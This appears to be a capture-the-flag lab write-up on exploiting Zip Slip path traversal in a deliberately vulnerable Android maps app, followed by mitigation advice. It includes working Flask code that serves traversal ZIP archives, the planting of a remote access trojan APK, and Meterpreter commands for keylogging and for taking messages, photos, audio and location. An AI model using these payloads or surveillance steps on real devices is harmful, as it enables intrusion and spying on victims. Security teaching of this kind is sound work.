Zip Slip is a serious vulnerability that is widespread in the archive extraction process, allowing attackers to write any file to the system. Typically, this results in RCE (Remote Code Execution). The vulnerability was discovered and responsibly disclosed by the Snyk Security team before it was made public on June 5, 2018. The issue affects thousands of projects, including those owned by major companies such as HP, Amazon, Apache, Pivotal, and many more.
Zip Slip is exploited through specially crafted archives with filenames that include directory traversal (e.g., ../../evil.sh)
. This vulnerability can occur in many archive formats, such as tar, ghz, jar, war, cpio, apk, rar, and 7z.
The core of this vulnerability is directory traversal, where an attacker can access parts of the system files outside the target folder. The attacker can then override the executable file and run it remotely, or wait for the system or user to call the file, so they can run commands on the victim's machine. In addition, this vulnerability can also cause damage by overwriting configuration files or other sensitive resources, and can be exploited both on the user's machine and on the server.
This time to learn how to exploit ZIP Slip Vulnerability using an android application that is deliberately vulnerable made for this practicum.
This is an application like Google Maps but to add local maps we have to download the resource by clicking the + button on the screen.
But before we analyze Flow from how this apk works we have to use the Burpsuite apk. For those who don't know Burpsuite apk is an application used to test the security of web and mobile applications. This tool works to detect vulnerabilities, analyze and resolve security issues. You can download the tools by clicking the link below:
https://portswigger.net/burp/communitydownload
hax
file in the downloads folder: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads/hax
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps
Here are the Intercept results when we want to add the maps, and it can be analysed that this apk is vulnerable because the API request still uses the HTTP protocol not using HTTPS which allows the Attacker not only to see the traffic sent and received, but also to manipulate/modify the request and response in Cleartext. And the fact that when still using HTTP can open up the entire attack surface area, for example the type of attack we are making.
It can also be seen using JADX tools to perform reverse engineering where we can perform static analysis on an application allowing attackers to understand the structure and logic of the application. After being analysed in the network_security_config.xml
application creates configuration cleartextTrafficPermitted="true"
. So this configuration allows clear text traffic on every request for permitted domains. But is this domain actually used for the CleartextTraffic. It could be that this is made only for testing / not used in production.
This is the intercept result when we download the maps where he takes a ZIP file with the .ghz format
And tried to download the .ghz file manually by copying it on the laptop. Here are the contents of the ZIP file.
To find out the location of the data unzipped by the application, we can use the command find / | grep australia oceania_nauru.map
in the adb shell mobile emulator and also make sure that we already have root access in the emulator. It can be seen that the unzipped file path is in :
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/
It also shows us that the app actually unzipped the map file.
Let's take a closer look at the arbitrary file write Vulnerability in the application, as we already know the issue is related to ZIP File Maps Handling. Do another static analysis by searching for keywords: ZipEntry
to know which code class handles the ZIP map file.
Before we analyse the code, I'll follow the snyk team's guide to look for frequently implemented but vulnerable code. Here is one guide that is specific to the java language, you can read more:
https://github.com/snyk/zip-slip-vulnerability
Explanation: The following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName()
can return filenames with dangerous relative paths, such as ../../malicious.sh
. This means that the file can be extracted outside of the destinationDir
yang ditentukan.
After the file is created, the contents of the file are directly copied without checking the output path whether it is safe or not. If the path goes to a dangerous location, such as the system root directory or other folders that should not be accessible to applications, it can be very dangerous. Since we already know the vulnerable code according to the guide, let's analyse the code in the apk:
Path Generation Without Validation:
String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();
Di sini, jalur file (str3
) dibuat dengan menggabungkan path dari direktori tujuan (file.getAbsolutePath()
) dengan nama entry zip (nextEntry.getName()
). Namun, nextEntry.getName()
bisa berisi elemen path berbahaya seperti ../../
, yang dapat menyebabkan file diekstrak di luar direktori yang dimaksud (file
).
Setelah path dibuat, file atau direktori dibuat langsung:
if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }
Ini membuat atau menulis file tanpa memastikan bahwa str3
adalah jalur yang aman.
For this stage, I prepared 2 things for the attack environment:
http history
or manual input
. In the example below, I changed the response by selecting Redirect to URL, so that every application response in real time will take a response from HTTP Mock.And what is manipulated is Request and Response from .json and .ghz when downloading maps, here's how to add to the HTTP Mock extension.
Here are the Mock rules Every incoming request is checked against these rules. If the request matches these rules, the response will be overwritten.
And we change the Response of the rules request to Redirect to URL to send the request to another web server, this gives us extreme flexibility. So when we request data .json
and .ghz
maps will redirect to this url (Web Server Malicious ☠).
2. Setup Local Server Environment: Because every request from the rule we matched redirects to the malicious local server so we made it for the malicious zip:
from flask import Flask, jsonify, send_file
import zipfile, io
app = Flask(__name__)
@app.route('/map.json')
def map_json():
response = {
"maps-0.13.0_0-path": "maps",
"maps-0.13.0_0":
[
{"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}
]
}
return jsonify(response)
@app.route('/map.ghz')
def map_archive():
file = "../../downloads/hax"
content = "youhavebeenhacked"
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.writestr(file, content)
zip_buffer.seek(0)
return send_file(
zip_buffer,
mimetype='application/zip',
as_attachment=True,
download_name='map.ghz'
)
if __name__ == '__main__':
app.run(debug=True, port=1234)
Here I created 2 routes, one /map.json
to respond to json maps requests and one more /map.ghz
to download malicious zip maps.
It can be seen that the request is now to the malicious server. and we will try to download the maps whether it succeeds in traversing the path to the previous location objective.
When I downloaded the maps, I immediately got the flag:
HXT{zip-path-traversal-1sg17)
Before: /data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps
After:
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/downloads
Let's check if the hax file really did path traversal, and sure enough, the file is already in a location that should not be unzipped.
Note: For Educational Purposes Only !!!!!
Before we escalate to RCE, let's get to know what RCE is.
Remote code execution is a cyber-attack whereby an attacker can remotely execute commands on someone else’s computing device. Remote code executions (RCEs) usually occur due to malicious malware downloaded by the host and can happen regardless of the device’s geographic location. Remote Code Execution (RCE) is also referred to as Remote Code Evaluation.
A remote code execution vulnerability is a broad category of cyber attack technique. It allows a threat actor to execute this remote code on a target machine across the internet, wide area network (WAN), or local area network (LAN). For example, a threat actor in Ukraine could silently place malicious code on a targeted device in the United States. Additionally, RCE enables a threat actor to control a computer or server through arbitrary code execution with malicious software. RCE can, of course, lead to the complete takeover of a targeted vulnerable application.
After knowing what RCE is, in this lab practice I made an RCE attack with the Advanced attack vectors type in the Path traversal section through an apk that is Vulnerable to path traversal.
Here I have prepared a Malware apk and the types of malware are Remote Access Trojans (RAT) are malware that gives the attacker direct interactive access to the victim's personal computer, allowing the attacker to steal personal data from the computer. The process of spying on victims in real-time using cameras and microphones and interacting directly with victims through dialogue. RATs are the opening door before Hijacker and Ransomware attacks in the most severe cases.
So I changed the code for Malicious Web Server:
@app.route('/map.ghz')
def map_archive():
file = "rce.apk"
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:
zip_file.write(file, "../../../../../../../../../../../sdcard/Download/rce.apk")
zip_buffer.seek(0)
return send_file(
zip_buffer,
mimetype='application/zip',
as_attachment=True,
download_name='map.ghz'
)
Explanation:
zip_file.writestr
vs. zip_file.write
:
zip_file.writestr
is used to write string content directly into a file inside a ZIP. If this is used, the defined content (in the form of a string) will be the contents of the file, without retrieving the content from an existing file on the disc.zip_file.write
is used to put files from the local file system (such as RAT APK files) into a ZIP. It reads the contents of the file on the disc and saves it into a ZIP file.And re-download the maps, and check if the malware is saved in the download.
You can see that the malware file is already in Download, Note: in my RCE case, the malware file is not automatically installed, so the flow is waiting for the target to open the malware file and install it.
The target installs the malware apk
The target is prompted to allow all access, if the victim chooses continue...
This is the Attacker's computer doing a listener, and when the victim chooses continue, the attacker automatically gets a shell from the victim's mobile phone, And RCE did it !!!.
This output will provide details such as OS name, version, and device architecture.
It can also retrieve all messages from the victim's device.
Take all photos from the victim's device.
And it was true that the photo from the victim's mobile phone had been taken.
Display the list of cameras available on the target device. and Take a photo from the selected camera.
Records audio from the target microphone for a specified duration (in seconds).
Retrieve the location of the device.
keyscan_start
Memulai keylogger untuk menangkap input keyboard.
bashCopyEditmeterpreter > keyscan_start
keyscan_dump
Melihat hasil tangkapan dari keylogger.
bashCopyEditmeterpreter > keyscan_dump
keyscan_stop
Menghentikan keylogger.
bashCopyEditmeterpreter > keyscan_stop
And other orders.
API should use SSL / HTTPS instead
It is recommended to sanitize the zip entry names so they cannot include path traversal:
Example Vulnerable code:
Enumeration<ZipEntry> entries = zip.getEntries();
while (entries.hasMoreElements()) {
ZipEntry e = entries.nextElement();
File f = new File(destinationDir, e.getName());
InputStream input = zip.getInputStream(e);
IOUtils.copy(input, write(f));
}
As discussed above the following code is vulnerable to a zip slip attack because it does not perform sufficient validation of the file paths in the zip archive before extracting it. Here e.getName()
can return filenames with dangerous relative paths, such as ../../malicious.sh
. This means that the file can be extracted outside of the destinationDir
yang ditentukan.
Example Validation Code:
String canonicalDestinationDirPath = destinationDir.getCanonicalPath();
File destinationfile = new File(destinationDir, e.getName());
String canonicalDestinationFile = destinationfile.getCanonicalPath();
if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) {
throw new ArchiverException("Entry is outside of the target dir: " + e.getName());
}
Explanation of mitigation measures:
Using getCanonicalPath()
:
getCanonicalPath()
returns the absolute path of the file, which removes the relative symbols and ensures the received path is the correct path (without traversal).
This code is used to get the absolute path of the destination directory (destinationDir
) and destination file (destinationfile
) to ensure no path traversal attempts occur.
Checks whether the destination file is in a valid directory:destinationfile.getCanonicalPath()
is used to get the absolute path of the file to be extracted.
startsWith(canonicalDestinationDirPath + File.separator)
ensures that the extracted files only reside within the legitimate destination directory. If the destination file is outside of the legitimate directory (for example, using path traversal to write a file outside of the destination directory), then this check will fail.'
Throw an exception:
If the destination file is outside the authorised directory (for example, trying to write outside the destination directory using the ../../
,
then this code will throw ArchiverException
with an error message indicating that the entry is outside the desired destination directory.
Cleartext traffic / http can cause Zip path traversal where the attacker can perform MITM Attack and manipulate data.
The Zip Slip (Path Traversal) vulnerability exploited in this article shows how insecure applications handling compressed files can be exploited by attackers. In this scenario, a malicious ZIP file is hosted on a server and manipulated using HTTP Mock to direct the target application to extract the APK file to a specific directory on the victim's device.
While these exploits capitalise on technical weaknesses, the important element is user interaction. The successful APK file is placed in the directory /sdcard/Download/
relies on the user to manually install, which can then run malicious code such as Remote Access Trojan (RAT) to give full control to the attacker, thus creating a scenario of Remote Code Execution (RCE).
This article also highlights:
Through this exploit, we learnt that even simple actions like extracting a ZIP file require additional security measures to prevent further exploitation. This kind of vulnerability shows that cybersecurity is not just about preventing technical exploits, but also about understanding how user interactions can be manipulated by attackers.
ZIP Slip:
https://developer.android.com/privacy-and-security/risks/zip-path-traversal#java
https://security.snyk.io/research/zip-slip-vulnerability
CVE:
https://nvd.nist.gov/vuln/detail/CVE-2018-1002201
RCE:
https://www.bugcrowd.com/glossary/remote-code-execution-rce/